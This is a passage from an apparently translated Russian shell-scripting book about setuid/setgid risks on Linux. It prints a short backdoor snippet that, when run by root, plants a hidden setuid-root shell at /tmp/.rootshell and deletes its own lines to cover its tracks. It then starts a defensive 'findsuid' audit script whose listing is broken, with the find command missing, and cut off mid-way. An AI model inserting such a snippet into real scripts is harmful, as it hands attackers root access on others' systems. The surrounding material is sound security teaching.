Существует довольно много способов, которые используют хулиганы и цифровые преступники для взлома системы Linux, независимо от наличия у них учетной записи, и один из самых простых — поиск недостаточно надежно защищенных команд с установленным атрибутом setuid или setgid. Как рассказывалось в предыдущих главах, такие команды меняют действующий идентификатор пользователя для любых вызываемых ими команд, как определено в конфигурации, чтобы обычный пользователь мог запускать сценарии, команды в котором выполняются с привилегиями суперпользователя root. Плохо. Опасно!
Например, если в сценарий с атрибутом setuid добавить следующий код, он создаст для злоумышленника оболочку с атрибутом setuid, которая выполняется с привилегиями root, когда ничего не подозревающий администратор запустит этот сценарий, зарегистрировавшись как пользователь root.
if ["${USER:-$LOGNAME}" = "root"]; then # REMOVEME
··cp /bin/sh /tmp/.rootshell·············· # REMOVEME
··chown root /tmp/.rootshell·············· # REMOVEME
··chmod −f 4777 /tmp/.rootshell············# REMOVEME
··grep −v "# REMOVEME" $0 > /tmp/junk······# REMOVEME
··mv /tmp/junk $0··························# REMOVEME
fi········································ # REMOVEME
После неосторожного запуска с привилегиями root этот код скрытно скопирует файл
Показанный фрагмент кода вставляется в любой сценарий или команду, которые могут запускаться с действующим идентификатором пользователя root. Именно поэтому так важно следить за всеми командами с установленным атрибутом setuid, имеющимися в системе. Очевидно, что вы никогда не должны устанавливать разрешение setuid или setgid для сценариев, но это не избавляет от необходимости внимательно следить за системой.
Однако, чем показывать, как взламывать системы, покажем лучше, как выявить все имеющиеся в системе сценарии командной оболочки с установленным атрибутом setuid или setgid! Листинг 6.1 демонстрирует, как добиться этого.
Код
Листинг 6.1. Сценарий findsuid
··#!/bin/bash
··# findsuid — проверяет доступность для записи всех файлов программ
··#·· с установленным атрибутом SUID и выводит их список в удобном формате.
··mtime="7"··# Как далеко назад (в днях) проверять время модификации.
··verbose=0··# По умолчанию, давайте будем немногословными.
··if ["$1" = "-v"]; then
······verbose=1··# Пользователь вызвал findsuid −v, включаем подробный режим.
··fi
··# find −perm отыскивает файлы с заданными разрешениями: 4000 и выше
··#·· — это setuid/setgid.
··do
····if [-x "$match"]; then
······# Выделить атрибуты владения и привилегий из вывода ls −ld.
······owner="$(ls −ld $match | awk '{print $3}')"
······perms="$(ls −ld $match | cut −c5-10 | grep 'w')"
······if [! -z $perms]; then
········echo "**** $match (writeable and setuid $owner)"
······elif [! -z $(find $match −mtime −$mtime −print)]; then
········echo "**** $match (modified within $mtime days and setuid $owner)"
······elif [$verbose −eq 1]; then
········# По умолчанию перечисляются только опасные сценарии.
········#·· Если включен подробный режим, выводить все.